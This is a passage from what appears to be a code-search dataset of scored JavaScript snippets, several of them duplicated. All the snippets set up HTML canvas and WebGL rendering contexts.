Draw a stroked path\n\t\t * @name line\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed point (one of: kxPoint or Array of points)\n\t\t * @param mixed ...\n\t\t * @param mixed pointN\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.line = function()\n\t\t{\n\t\t\treturn context\n\t\t\t\t.path.apply(context.path, arguments)\n\t\t\t\t.stroke();\n\t\t};\n\n\t\tinit();\n\t}", "title": "" }, { "docid": "cdfbf252c4d3ec48d83ae3f4e6a7fc12", "score": "0.6131737", "text": "createCanvasAndContext(pixelWidth, pixelHeight) {\n const canvas = settings.ADAPTER.createCanvas();\n canvas.width = pixelWidth;\n canvas.height = pixelHeight;\n const context = canvas.getContext(\"2d\");\n return { canvas, context };\n }", "title": "" }, { "docid": "1a83963526ba82907cae633de116e304", "score": "0.6111641", "text": "function initCanvas(canvas, width, height) {\n if (!canvas.getContext) return null;\n var ctx = canvas.getContext(\"2d\");\n if (!ctx) return null;\n canvas.width = width;\n canvas.height = height;\n if (typeof ctx.imageSmoothingEnabled !== \"undefined\") {\n ctx.imageSmoothingEnabled = false;\n } else {\n ctx.mozImageSmoothingEnabled = false;\n ctx.webkitImageSmoothingEnabled = false;\n ctx.msImageSmoothingEnabled = false;\n }\n ctx.scale(width, height);\n return ctx;\n}", "title": "" }, { "docid": "1cdd5bac46d392efc19396468012aebb", "score": "0.6094715", "text": "function getAvailableContext(canvas, contextList) {\n if (canvas.getContext) {\n for(var i = 0; i < contextList.length; ++i) {\n try {\n var context = canvas.getContext(contextList[i], { antialias:false });\n if(context !== null)\n return context;\n } catch(ex) { }\n }\n }\n return null;\n}", "title": "" }, { "docid": "1cdd5bac46d392efc19396468012aebb", "score": "0.6094715", "text": "function getAvailableContext(canvas, contextList) {\n if (canvas.getContext) {\n for(var i = 0; i < contextList.length; ++i) {\n try {\n var context = canvas.getContext(contextList[i], { antialias:false });\n if(context !== null)\n return context;\n } catch(ex) { }\n }\n }\n return null;\n}", "title": "" }, { "docid": "77cf9d18b525278cfb1a48ea0df3b385", "score": "0.60937744", "text": "createDrawContext() {\n return undefined;\n }", "title": "" }, { "docid": "6a96dae2f9325d0fd300106c686c4414", "score": "0.60723406", "text": "function createGLContext(canvas) {\n\tvar names = [\"webgl\", \"experimental-webgl\"];\n\tvar context = null;\n\tfor (var i=0; i < names.length; i++) {\n\t\ttry {\n\t\t\tcontext = canvas.getContext(names[i]);\n\t\t} catch(e) {}\n\t\tif (context) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (context) {\n\t\tcontext.viewportWidth = canvas.width;\n\t\tcontext.viewportHeight = canvas.height;\n\t} else {\n\t\talert(\"Failed to create WebGL context!\");\n\t}\n\treturn context;\n}", "title": "" }, { "docid": "af5a5a2b0afc95fd0bc6d282589dfefb", "score": "0.6063767", "text": "function initialiseContext() {\n canvas = document.getElementById('mainCanvas');\n\n if(!canvas) {\n alert (\"I can not find the canvas element!\");\n return;\n }\n context = canvas.getContext('2d');\n if (!context) {\n alert('Error: failed to get context!');\n return;\n }\n }", "title": "" }, { "docid": "0917dfdf1f1c1dbdd821db87fea16705", "score": "0.603496", "text": "function getAvailableContext(canvas, contextList) {\r\n if (canvas.getContext) {\r\n for(var i = 0; i < contextList.length; ++i) {\r\n try {\r\n var context = canvas.getContext(contextList[i]);\r\n if(context != null)\r\n return context;\r\n } catch(ex) { }\r\n }\r\n }\r\n return null;\r\n}", "title": "" }, { "docid": "1ac939c09be864cc41dc6340e6ea7a42", "score": "0.60333973", "text": "function createGLContext(canvas) {\n var names = [\"webgl\", \"experimental-webgl\"];\n var context = null;\n for (var i=0; i < names.length; i++) {\n try {\n context = canvas.getContext(names[i]);\n } catch(e) {}\n if (context) {\n break;\n }\n }\n if (context) {\n context.viewportWidth = canvas.width;\n context.viewportHeight = canvas.height;\n } else {\n alert(\"Failed to create WebGL context!\");\n }\n return context;\n}", "title": "" }, { "docid": "1ac939c09be864cc41dc6340e6ea7a42", "score": "0.60333973", "text": "function createGLContext(canvas) {\n var names = [\"webgl\", \"experimental-webgl\"];\n var context = null;\n for (var i=0; i < names.length; i++) {\n try {\n context = canvas.getContext(names[i]);\n } catch(e) {}\n if (context) {\n break;\n }\n }\n if (context) {\n context.viewportWidth = canvas.width;\n context.viewportHeight = canvas.height;\n } else {\n alert(\"Failed to create WebGL context!\");\n }\n return context;\n}", "title": "" }, { "docid": "1ac939c09be864cc41dc6340e6ea7a42", "score": "0.60333973", "text": "function createGLContext(canvas) {\n var names = [\"webgl\", \"experimental-webgl\"];\n var context = null;\n for (var i=0; i < names.length; i++) {\n try {\n context = canvas.getContext(names[i]);\n } catch(e) {}\n if (context) {\n break;\n }\n }\n if (context) {\n context.viewportWidth = canvas.width;\n context.viewportHeight = canvas.height;\n } else {\n alert(\"Failed to create WebGL context!\");\n }\n return context;\n}", "title": "" }, { "docid": "1ac939c09be864cc41dc6340e6ea7a42", "score": "0.60333973", "text": "function createGLContext(canvas) {\n var names = [\"webgl\", \"experimental-webgl\"];\n var context = null;\n for (var i=0; i < names.length; i++) {\n try {\n context = canvas.getContext(names[i]);\n } catch(e) {}\n if (context) {\n break;\n }\n }\n if (context) {\n context.viewportWidth = canvas.width;\n context.viewportHeight = canvas.height;\n } else {\n alert(\"Failed to create WebGL context!\");\n }\n return context;\n}", "title": "" }, { "docid": "f6c55db96c9b863812edff36e9a706b1", "score": "0.6030826", "text": "function Canvas(context)\r\n{\r\n\tthis.context = context;\r\n}", "title": "" }, { "docid": "5dcc07c43b4567ba11dd4865c3e72325", "score": "0.6001995", "text": "function createGLContext(canvas) {\r\n var names = [\"webgl\", \"experimental-webgl\"];\r\n var context = null;\r\n for (var i=0; i < names.length; i++) {\r\n try {\r\n context = canvas.getContext(names[i]);\r\n } catch(e) {}\r\n if (context) {\r\n break;\r\n }\r\n }\r\n if (context) {\r\n context.viewportWidth = canvas.width;\r\n context.viewportHeight = canvas.height;\r\n } else {\r\n alert(\"Failed to create WebGL context!\");\r\n }\r\n return context;\r\n}", "title": "" }, { "docid": "e0ab2338c9688881e27d22a5d314ab1d", "score": "0.59797704", "text": "function getCanvas(width, height, stylemult) {\n var canv = createElement(\"canvas\", {\n width: width,\n height: height\n });\n \n // If necessary, make this thing's visual style\n if(stylemult) {\n // stylemult is 1 by default, but may be something else (typically unitsize)\n stylemult = stylemult || unitsize;\n proliferate(canv.style, {\n width: (width * stylemult) + \"px\",\n height: (height * stylemult) + \"px\"\n });\n }\n \n // For speed\n canv.getContext(\"2d\").webkitImageSmoothingEnabled = false\n \n return canv;\n}", "title": "" }, { "docid": "dc5dc25dd6bd4d4d7ca7c069cd466d89", "score": "0.59470725", "text": "function getCanvas(canvasId){\n\t\tvar canvas = document.querySelector(canvasId);\n\t\tvar ctx = canvas.getContext(\"2d\");\n\t\tctx.clearCanvas = function(){\n\t\t\tthis.canvas.width = this.canvas.width;\n\t\t}\n\t\tctx.center = {\n\t\t\tx : ctx.canvas.width / 2,\n\t\t\ty : ctx.canvas.height / 2\n\t\t}\n\t\tcanvas.ctx = ctx;\n\t\treturn canvas;\n}", "title": "" }, { "docid": "185f2ffd1e509996c5afbae82f36f3ac", "score": "0.5946576", "text": "makeCanvas(width, height) {\n const element = document.createElement('canvas')\n const context = element.getContext('2d')\n element.width = width\n element.height = height\n return { element, context }\n }", "title": "" }, { "docid": "5159caa97d48b8ed37499dbb5305e26a", "score": "0.5936075", "text": "function initContext(canvasID, contextType)\n{\n var canvas = document.createElement('canvas');\n var context = canvas.getContext(contextType);\n return context;\n}", "title": "" }, { "docid": "dde2e17fb6079bdfe59cfddd2458e2e5", "score": "0.59264356", "text": "function GetWebGLContext( canvas )\n{\n return canvas.getContext(\"webgl\") || // Standard\n canvas.getContext(\"experimental-webgl\") || // Alternative; Safari, others\n canvas.getContext(\"moz-webgl\") || // Firefox; mozilla\n canvas.getContext(\"webkit-3d\"); // Last resort; Safari, and maybe others\n // Note that \"webgl\" is not available as of Safari version <= 7.0.3\n // So we have to fall back to ambiguous alternatives for it,\n // and some other browser implementations.\n}", "title": "" }, { "docid": "134544d1324d9d3afc50637d760ac6de", "score": "0.5907529", "text": "function prepareCanvas()\n{\n\t// Create the canvas (Neccessary for IE because it doesn't know what a canvas element is)\n\tvar canvasDiv = document.getElementById('drawDiv');\n\tcanvas = document.createElement('canvas');\n\tcanvas.setAttribute('width', canvasWidth);\n\tcanvas.setAttribute('height', canvasHeight);\n\tcanvas.setAttribute('id', 'canvas');\n\tcanvasDiv.appendChild(canvas);\n\tif(typeof G_vmlCanvasManager != 'undefined') {\n\t\tcanvas = G_vmlCanvasManager.initElement(canvas);\n\t}\n\tcontext = canvas.getContext(\"2d\"); // Grab the 2d canvas context\t\n}", "title": "" }, { "docid": "cb6a75e94c08a3e416620fb4d759b89a", "score": "0.5901027", "text": "function jsHasCtx2D(elem) {return !!elem.getContext;}", "title": "" }, { "docid": "cb6a75e94c08a3e416620fb4d759b89a", "score": "0.5901027", "text": "function jsHasCtx2D(elem) {return !!elem.getContext;}", "title": "" }, { "docid": "885fbdf5cd9b724a9567ad8deac2e4c5", "score": "0.58843446", "text": "function drawMe() {\n //get canvas and assign to ctx.\n canvas = document.getElementById(\"secondCanvas\");\n if (canvas.getContext) {\n ctx2 = canvas.getContext(\"2d\");\n }\n intro();\n }", "title": "" }, { "docid": "74203b4489aa92fdb4c937f568afce59", "score": "0.5840751", "text": "function lockContext(canvas) {\n\tvar ctx = canvas.getContext(\"2d\");\n\tvar w = canvas.width;\n\tvar h = canvas.height;\n\tvar id = ctx.getImageData(0, 0, w, h);\n\tvar data = id.data;\n\t\n\tfunction index(x, y) {\n\t\treturn 4 * (w * y + x);\n\t}\n\t\n\tfunction putPixel(x, y, red, green, blue, alpha) {\n\t\tvar i = index(x, y);\n\t\tdata[i++] = red;\n\t\tdata[i++] = green;\n\t\tdata[i++] = blue;\n\t\tdata[i++] = alpha || 255;\n\t}\n\n\tfunction putWhitePixel(x, y, red, green, blue, alpha) {\n\t\tvar mr = Math.max(green, blue);\n\t\tvar mg = Math.max(red, blue);\n\t\tvar mb = Math.max(red, green);\n\t\tputPixel(x, y, 255-mr, 255-mg, 255-mb, alpha);\n\t}\n\t\n\tfunction getPixel(x, y) {\n\t\tvar i = index(x, y);\n\t\treturn data.slice(i, i + 4);\n\t}\n\t\n\tfunction show() {\n\t\tctx.putImageData(id, 0, 0);\n\t}\n\t\n\tvar lc = {\n\t\tw: w,\n\t\th: h,\n\t\tcanvas: canvas,\n\t\tctx: ctx,\n\t\tputPixel: putPixel,\n\t\tputWhitePixel: putWhitePixel,\n\t\tgetPixel: getPixel,\n\t\tshow: show\n\t};\n\treturn lc;\n}", "title": "" }, { "docid": "cb651d98d31c110d18b29617bc3e4a5b", "score": "0.58354557", "text": "static get _context() {\n if (!_CanvasTextMetrics.__context) {\n _CanvasTextMetrics.__context = _CanvasTextMetrics._canvas.getContext(\"2d\", contextSettings);\n }\n return _CanvasTextMetrics.__context;\n }", "title": "" }, { "docid": "3f5cde70a1f269fc1570fbc600d0fdad", "score": "0.58175665", "text": "initCanvas() {\n var canvas = document.createElement('canvas');\n canvas.setAttribute('width', this.width );\n canvas.setAttribute('height', this.height );\n this.canvas = canvas.getContext('2d');\n }", "title": "" }, { "docid": "e13122e2cc61aa49f5f562e64704c5d2", "score": "0.5797707", "text": "getOptimalCanvasAndContext(minWidth, minHeight, resolution = 1) {\n minWidth = Math.ceil(minWidth * resolution - 1e-6);\n minHeight = Math.ceil(minHeight * resolution - 1e-6);\n minWidth = nextPow2(minWidth);\n minHeight = nextPow2(minHeight);\n const key = (minWidth << 17) + (minHeight << 1);\n if (!this.canvasPool[key]) {\n this.canvasPool[key] = [];\n }\n let canvasAndContext = this.canvasPool[key].pop();\n if (!canvasAndContext) {\n canvasAndContext = this.createCanvasAndContext(minWidth, minHeight);\n }\n return canvasAndContext;\n }", "title": "" }, { "docid": "a04b3238c04078fd4439e02b158f0574", "score": "0.5772744", "text": "function windowToCanvas(canvas, x, y)\n{\n\tvar bbox = c.getBoundingClientRect();\n\n\treturn {x: x - bbox.left * (canvas.width / bbox.width),\n\t\t\ty: y - bbox.top * (canvas.height / bbox.height)\n\t\t\t};\n}", "title": "" }, { "docid": "3b5990a2eb6b7b98d41126f49f93d53a", "score": "0.5766662", "text": "function prepareCanvas()\n{\n\t// Create the canvas (Neccessary for IE because it doesn't know what a canvas element is)\n\tvar canvasDiv = document.getElementById('canvasDiv');\n\tcanvas = document.createElement('canvas');\n\tcanvas.setAttribute('width', canvasWidth);\n\tcanvas.setAttribute('height', canvasHeight);\n\tcanvas.setAttribute('id', 'canvas');\n\tcanvasDiv.appendChild(canvas);\n\tcontext = canvas.getContext(\"2d\"); // Grab the 2d canvas context\n\n\t$('#canvas').mousedown(function(e){\n if(e.button === 2)\n return;\n\t var mouseX = e.pageX - this.offsetLeft;\n\t var mouseY = e.pageY - this.offsetTop;\n\n\t paint = true;\n\t addClick(e.pageX - this.offsetLeft, e.pageY - this.offsetTop);\n\t\tsizeArray.push(strokeWidth);\n\t\tcolorArray.push(curColor);\n\t\topacityArray.push(globalAlpha);\n\t\tredraw();\n\t});\n\n\t$('#canvas').mousemove(function(e){\n\t if(paint){\n\t addClick(e.pageX - this.offsetLeft, e.pageY - this.offsetTop, true);\n\t redraw();\n\t }\n\t});\n\n\t$('#canvas').mouseup(function(e){\n\t paint = false;\n\t});\n\n\t$('#canvas').mouseleave(function(e){\n\t paint = false;\n\t});\n\n}", "title": "" }, { "docid": "406a9dd633662b368f4f6fd02623fec4", "score": "0.57639086", "text": "function setCanvas() {\n canvas = document.getElementById(\"main\");\n canvasContext = canvas.getContext(\"2d\");\n}", "title": "" }, { "docid": "708b4c9595ed37647624fc03ad278976", "score": "0.57608634", "text": "function canvasSupported(){\n canvas = document.getElementsByTagName(\"canvas\")[0];\n ctx = canvas.getContext('2d');\n return( !!(ctx));\n }", "title": "" }, { "docid": "07e0c8c20c11abc93e92df73f279468b", "score": "0.5742072", "text": "static initWebGL(canvas) {\n canvas.width = canvas.getClientRects()[0].width;\n canvas.height = canvas.getClientRects()[0].height;\n\n return canvas.getContext(\"webgl2\") || alert(\"Unable to initialize WebGL; your browser may not support it.\")\n }", "title": "" }, { "docid": "c3f87526dfafbe9a629308b0ba2e55cb", "score": "0.57296467", "text": "function Canvas(){\n this.elems = util.QSA('canvas.m');\n this.ctx = [];\n for (var i = 0; i < this.elems.length; i++) {\n this.ctx.push(this.elems[i].getContext('2d'));\n }\n this.width = this.ctx[0].canvas.width;\n this.height = this.ctx[0].canvas.height;\n this.entityCache = [];\n this.laserCache = [];\n this.hudCache = [];\n this.bgCache = [];\n this.canvasCounter = 0;\n this.bindEvents();\n }", "title": "" }, { "docid": "676a9a3afb4541af164f4af1338e0172", "score": "0.5718875", "text": "function getWebGLContext(canvas, opt_debug) {\n // Get the rendering context for WebGL\n var gl = _webglUtils2.default.setupWebGL(canvas);\n if (!gl) return null;\n\n // if opt_debug is explicitly false, create the context for debugging\n if (arguments.length < 2 || opt_debug) {\n gl = _webglDebug2.default.makeDebugContext(gl);\n }\n\n return gl;\n}", "title": "" }, { "docid": "b16cc070aa611e556bda94129186b14b", "score": "0.5699617", "text": "getWebGLContext (canvas) {\n const contexts = ['webgl', 'experimental-webgl', 'webkit-3d', 'moz-webgl'];\n let gl;\n contexts.forEach(ctx => {\n if (!gl) {\n try {\n gl = canvas.getContext(ctx);\n } catch (e) {}\n }\n });\n\n if (!gl) {\n alert('WebGL not available, sorry! Please use a new version of Chrome or Firefox.');\n }\n\n return gl;\n }", "title": "" }, { "docid": "27deeeec2bfe7448bc59c21258eb03d8", "score": "0.56649256", "text": "function createBrowserContext(canvas, options) {\n const {onError = message => null} = options;\n\n // Try to extract any extra information about why context creation failed\n const onCreateError = error => onError(`WebGL context: ${error.statusMessage || 'error'}`);\n canvas.addEventListener('webglcontextcreationerror', onCreateError, false);\n\n const {webgl1 = true, webgl2 = true} = options;\n let gl = null;\n // Prefer webgl2 over webgl1, prefer conformant over experimental\n if (webgl2) {\n gl = gl || canvas.getContext('webgl2', options);\n gl = gl || canvas.getContext('experimental-webgl2', options);\n }\n if (webgl1) {\n gl = gl || canvas.getContext('webgl', options);\n gl = gl || canvas.getContext('experimental-webgl', options);\n }\n\n canvas.removeEventListener('webglcontextcreationerror', onCreateError, false);\n\n if (!gl) {\n return onError(`Failed to create ${webgl2 && !webgl1 ? 'WebGL2' : 'WebGL'} context`);\n }\n\n return gl;\n}", "title": "" }, { "docid": "a7c38feda42d57a21b5c947f4301ec70", "score": "0.5631344", "text": "function acquireContext(item, config) {\n\t\tif (typeof item === 'string') {\n\t\t\titem = document.getElementById(item);\n\t\t} else if (item.length) {\n\t\t\t// Support for array based queries (such as jQuery)\n\t\t\titem = item[0];\n\t\t}\n\n\t\tif (item && item.canvas) {\n\t\t\t// Support for any object associated to a canvas (including a context2d)\n\t\t\titem = item.canvas;\n\t\t}\n\n\t\tif (item instanceof HTMLCanvasElement) {\n\t\t\t// To prevent canvas fingerprinting, some add-ons undefine the getContext\n\t\t\t// method, for example: https://github.com/kkapsner/CanvasBlocker\n\t\t\t// https://github.com/chartjs/Chart.js/issues/2807\n\t\t\tvar context = item.getContext && item.getContext('2d');\n\t\t\tif (context instanceof CanvasRenderingContext2D) {\n\t\t\t\tinitCanvas(item, config);\n\t\t\t\treturn context;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "a7c38feda42d57a21b5c947f4301ec70", "score": "0.5631344", "text": "function acquireContext(item, config) {\n\t\tif (typeof item === 'string') {\n\t\t\titem = document.getElementById(item);\n\t\t} else if (item.length) {\n\t\t\t// Support for array based queries (such as jQuery)\n\t\t\titem = item[0];\n\t\t}\n\n\t\tif (item && item.canvas) {\n\t\t\t// Support for any object associated to a canvas (including a context2d)\n\t\t\titem = item.canvas;\n\t\t}\n\n\t\tif (item instanceof HTMLCanvasElement) {\n\t\t\t// To prevent canvas fingerprinting, some add-ons undefine the getContext\n\t\t\t// method, for example: https://github.com/kkapsner/CanvasBlocker\n\t\t\t// https://github.com/chartjs/Chart.js/issues/2807\n\t\t\tvar context = item.getContext && item.getContext('2d');\n\t\t\tif (context instanceof CanvasRenderingContext2D) {\n\t\t\t\tinitCanvas(item, config);\n\t\t\t\treturn context;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "a7c38feda42d57a21b5c947f4301ec70", "score": "0.5631344", "text": "function acquireContext(item, config) {\n\t\tif (typeof item === 'string') {\n\t\t\titem = document.getElementById(item);\n\t\t} else if (item.length) {\n\t\t\t// Support for array based queries (such as jQuery)\n\t\t\titem = item[0];\n\t\t}\n\n\t\tif (item && item.canvas) {\n\t\t\t// Support for any object associated to a canvas (including a context2d)\n\t\t\titem = item.canvas;\n\t\t}\n\n\t\tif (item instanceof HTMLCanvasElement) {\n\t\t\t// To prevent canvas fingerprinting, some add-ons undefine the getContext\n\t\t\t// method, for example: https://github.com/kkapsner/CanvasBlocker\n\t\t\t// https://github.com/chartjs/Chart.js/issues/2807\n\t\t\tvar context = item.getContext && item.getContext('2d');\n\t\t\tif (context instanceof CanvasRenderingContext2D) {\n\t\t\t\tinitCanvas(item, config);\n\t\t\t\treturn context;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "5e42fbe08169dbd45e25f23ebd791f6d", "score": "0.56122595", "text": "function init_canvas (x, y) {\n var canvas = new Array(y);\n for (var i = 0; i < y; i++) {\n canvas[i] = new Array(x);\n }\n return (canvas);\n}", "title": "" }, { "docid": "4f687a1a7fbd4b7b5ce6f92023428eec", "score": "0.56034076", "text": "function Canvas(canvas) {\n\t\t_classCallCheck(this, Canvas);\n\n\t\tvar parent = void 0;\n\n\t\t// events\n\t\tthis.events = {};\n\n\t\t// browser check\n\t\tif (!('getContext' in document.createElement('canvas'))) {\n\t\t\t// browser doesn't support canvas\n\t\t\treturn;\n\t\t}\n\n\t\tif (!(canvas && canvas instanceof HTMLCanvasElement)) {\n\n\t\t\t// Set the parent\n\t\t\tparent = canvas;\n\n\t\t\t// Create the canvas layer\n\t\t\tcanvas = document.createElement('canvas');\n\t\t\tcanvas.style.backgroundColor = 'white';\n\n\t\t\t// Not a parent\n\t\t\tif (!parent) {\n\t\t\t\t// Append to the body\n\t\t\t\tparent = document.body;\n\t\t\t\tcanvas.style.cssText = 'position:fixed;z-index:-1;top:0;left:0;';\n\t\t\t\tcanvas.setAttribute('tabindex', 0);\n\n\t\t\t\tdocument.documentElement.style.cssText = 'min-height:100%;';\n\t\t\t\tdocument.body.style.cssText = 'min-height:100%;';\n\n\t\t\t\t// Bind window resize events\n\t\t\t\twindow.addEventListener('resize', this.resize.bind(this));\n\t\t\t}\n\n\t\t\t// Append this element\n\t\t\tparent.insertBefore(canvas, parent.firstElementChild);\n\n\t\t\tthis.target = canvas;\n\n\t\t\tthis.resize();\n\t\t} else {\n\t\t\tthis.target = canvas;\n\t\t\tparent = canvas.parentNode;\n\t\t}\n\n\t\tthis.ctx = canvas.getContext('2d');\n\n\t\t// Set initial save point\n\t\tthis.ctx.save();\n\n\t\t// Initiate the time\n\t\tthis._time = 0;\n\t\tthis._fps = 0;\n\n\t\t// Initiate the draw\n\t\tthis.draw();\n\n\t\t// Bind events\n\t\t(0, _on2.default)(this.target, UserEvents.toString(), this.dispatchEvent.bind(this), { passive: true });\n\n\t\t// Format Touch events\n\t\t(0, _on2.default)(this.target, TouchEvents.toString(), this.dispatchTouchEvent.bind(this), { passive: true });\n\n\t\t// In IE user-events aren't propagated to elements which have negative z-Index's\n\t\t// Listen to events on the document element and propagate those accordingly\n\t\tif (parent === document.body && canvas.style.getPropertyValue('z-index') === '-1') {\n\t\t\t// Bind events\n\t\t\t(0, _on2.default)(document, UserEvents.toString(), this.dispatchEvent.bind(this), { passive: true });\n\n\t\t\t// Format Touch events\n\t\t\t(0, _on2.default)(document, TouchEvents.toString(), this.dispatchTouchEvent.bind(this), { passive: true });\n\t\t}\n\n\t\t// Listen to hashChange events\n\t\t{\n\t\t\t// HASH CHANGE DEPTH\n\t\t\tvar style = this.target.style;\n\t\t\tvar initialZ = style.getPropertyValue('z-index');\n\t\t\t// Listen to changes to the background hash to bring the canvas element to the front\n\t\t\twindow.addEventListener('hashchange', hashchange.bind(style, initialZ));\n\n\t\t\thashchange.call(style, initialZ);\n\t\t}\n\n\t\t// Is there a swipe method handler\n\t\tif (this.swipe) {\n\t\t\t// Bind the swipe event handler to the event\n\t\t\t(0, _swipe2.default)(this.target, this.swipe.bind(this));\n\t\t}\n\t}", "title": "" }, { "docid": "53df617af353f35dcdb4e9bc21c8c4d7", "score": "0.55990535", "text": "function prepare2Canvas() {\n\t// Create the canvas (Neccessary for IE because it doesn't know what a canvas element is)\n\tvar canvasDiv2 = document.getElementById('canvas2Div');\n\tcanvas_2 = document.createElement('canvas');\n\tcanvas_2.setAttribute('width', canvasWidth);\n\tcanvas_2.setAttribute('height', canvasHeight);\n\tcanvas_2.setAttribute('id', 'canvas2');\n\tcanvas_2.setAttribute('style', 'border: 1px solid');\n\tcanvasDiv2.appendChild(canvas_2);\n\t\n\tif (typeof G_vmlCanvasManager != 'undefined') {\n\t\tcanvas_2 = G_vmlCanvasManager.initElement(canvas_2);\n\t}\n\t\n\tcontext_2 = canvas_2.getContext(\"2d\");\n\n// Add mouse events\n// ----------------\n\t$('#canvas2').mousedown(function(e) {\n\t\t// Mouse down location\n\t\t// var mouseX = e.pageX - this.offsetLeft;\n\t\t// var mouseY = e.pageY - this.offsetTop;\n\t\tvar ClientRect = canvas_2.getBoundingClientRect();\n\t\tvar mouseX = Math.round(e.clientX - ClientRect.left),\n\t\t\tmouseY = Math.round(e.clientY - ClientRect.top);\n\n\t\tpaint_2 = true;\n\t\taddClick2(mouseX, mouseY, false);\n\t\tredraw2();\n\t});\n\n\t$('#canvas2').mousemove(function(e) {\n\t\tif (paint_2) {\n\t\t\tvar ClientRect = canvas_2.getBoundingClientRect();\n\t\t\tvar mouseX = Math.round(e.clientX - ClientRect.left),\n\t\t\t\tmouseY = Math.round(e.clientY - ClientRect.top);\n\t\t\t\t\n\t\t\taddClick2(mouseX, mouseY, true);\n\t\t\n\t\t\t// addClick2(e.pageX - this.offsetLeft, e.pageY - this.offsetTop, true);\n\t\t\tredraw2();\n\t\t}\n\t});\n\n\t$('#canvas2').mouseup(function(e) {\n\t\tpaint_2 = false;\n\t\tredraw2();\n\t\t$(\"#btn_transfer\").attr(\"canva2\", 1);\n\t});\n\n\t$('#canvas2').mouseleave(function(e) {\n\t\tpaint_2 = false;\n\t});\n\n\t$('#clearCanvas2').mousedown(function(e) {\n\t\tclickX_2 = new Array();\n\t\tclickY_2 = new Array();\n\t\tclickDrag_2 = new Array();\n\t\tclearCanvas_2();\n\t\t$(\"#btn_transfer\").attr(\"canva2\", 0);\n\t});\n\n\t// Add touch event listeners to canvas element\n\tcanvas_2.addEventListener(\"touchstart\", function(e) {\n\t\t// Mouse down location\n\t\tvar mouseX = (e.changedTouches ? e.changedTouches[0].pageX : e.pageX) - this.offsetLeft,\n\t\t mouseY = (e.changedTouches ? e.changedTouches[0].pageY : e.pageY) - this.offsetTop -70;\n\t\t \n\t\t// var ClientRect = canvas_1.getBoundingClientRect();\n\t\t// var mouseX = Math.round(e.clientX - ClientRect.left),\n\t\t\t// mouseY = Math.round(e.clientY - ClientRect.top);\n\n\t\tpaint_2 = true;\n\t\taddClick2(mouseX, mouseY, false);\n\t\tredraw2();\n\t}, false);\n\tcanvas_2.addEventListener(\"touchmove\", function(e) {\n\t\tvar mouseX = (e.changedTouches ? e.changedTouches[0].pageX : e.pageX) - this.offsetLeft,\n\t\t mouseY = (e.changedTouches ? e.changedTouches[0].pageY : e.pageY) - this.offsetTop -70;\n\t\t// var ClientRect = canvas_1.getBoundingClientRect();\n\t\t// var mouseX = Math.round(e.clientX - ClientRect.left),\n\t\t\t// mouseY = Math.round(e.clientY - ClientRect.top);\n\n\t\tif (paint_2) {\n\t\t\taddClick2(mouseX, mouseY, true);\n\t\t\tredraw2();\n\t\t}\n\t\te.preventDefault()\n\t}, false);\n\tcanvas_2.addEventListener(\"touchend\", function(e) {\n\t\tpaint_2 = false;\n\t\tredraw2();\n\t\t$(\"#btn_transfer\").attr(\"canva2\", 1);\n\t}, false);\n\tcanvas_2.addEventListener(\"touchcancel\", function(e) {\n\t\tpaint_2 = false;\n\t}, false);\n}", "title": "" }, { "docid": "5740d52866c56d6b81bff3c5542829f4", "score": "0.5598054", "text": "function getContext(){\n var div=$(sDivId); // DIV Datensatz holen\n var canvas=dcE('canvas'); // Canvas in der Größe des Divs erzeugen\n canvas.width=div.offsetWidth;\n canvas.height=div.offsetHeight;\n div.appendChild(canvas);\n div.style.backgroundColor='#eeeeee';\n div.style.border='solid 1px #333';\n try {gl = canvas.getContext('webgl') }\n catch(e) {alert('Exception init: '+e.toString());return;}\n if(!gl) {alert('Unable to create Web GL context');return;}\n\n // Erforderlicher Code \n simpleCode+=`\n// Teil 1 (getContext)<br>\n// canvas und gl(webGL) erzeugen<br> \nvar div=document.getElementById('canvas');<br>\nvar canvas=document.createElement('canvas');<br>\ncanvas.width=div.offsetWidth;<br>\ncanvas.height=div.offsetHeight;<br>\ndiv.appendChild(canvas);<br>\ndiv.style.backgroundColor='#eeeeee';<br>\ndiv.style.border='solid 1px #333';<br>\ntry {gl = canvas.getContext('webgl') }<br>\ncatch(e) {alert('Exception init: '+e.toString());}<br>\nif(!gl) {alert('Unable to create Web GL context');}<br><br>\n`;\n }", "title": "" }, { "docid": "c379266c97c039c5528bc3a243d3d852", "score": "0.55963755", "text": "function getCanvas(width, height) {\r\n var canvas = document.createElement('canvas');\r\n\r\n canvas.width = width;\r\n canvas.height = height;\r\n\r\n return canvas;\r\n }", "title": "" }, { "docid": "e20bf09b575022c6186d0ba7cff1e6c6", "score": "0.55881304", "text": "function loadCanvas() {\n canvas = [];\n\n for (var i = 0; i < N_CANVAS; i++) {\n var newCanvas = getCanvas(i);\n\n if (newCanvas != null) {\n var newContext = newCanvas.getContext(\"2d\");\n canvas.push(newCanvas);\n contexts.push(newContext);\n } else {\n console.log(\"Load canvas #\" + i + \" error!\");\n }\n }\n\n console.log(\"Canvas loaded:\");\n console.log(canvas);\n console.log(contexts);\n}", "title": "" }, { "docid": "50db9666b6049d14f63137aba87f148f", "score": "0.5583805", "text": "getContext() {\n\t\treturn ctx;\n\t}", "title": "" }, { "docid": "7c646e930a95c01f3d793aaf454fd153", "score": "0.558358", "text": "function getContext(_, ctx) {\n return ctx;\n}", "title": "" }, { "docid": "7c646e930a95c01f3d793aaf454fd153", "score": "0.558358", "text": "function getContext(_, ctx) {\n return ctx;\n}", "title": "" }, { "docid": "ebbd5db5a5f5c06a8289ce54359b7690", "score": "0.55798584", "text": "initCanvas(canvas) {\n canvas.style.border = \"solid 1px black\";\n canvas.style.background = \"black\";\n canvas.width = this.canvasWidth;\n canvas.height = this.canvasHeight;\n // lighter creates bright highlight points as the events overlap each other\n this.ctx.globalCompositeOperation = \"lighter\";\n }", "title": "" }, { "docid": "806bfff015fc0e268c7403b4f63c728d", "score": "0.55750173", "text": "initializeCanvas () {\n /**\n * The onscreen canvas.\n * @type {HTMLCanvasElement}\n */\n this.canvas = document.createElement('canvas')\n /**\n * The onscreen canvas context.\n * @type {CanvasRenderingContext2D}\n */\n this.context = this.canvas.getContext('2d')\n this.canvas.webkitImageSmoothingEnabled = false\n this.context.imageSmoothingEnabled = false\n\n /**\n * The offscreen canvas.\n * @type {HTMLCanvasElement}\n * @access private\n */\n this.offscreenCanvas = 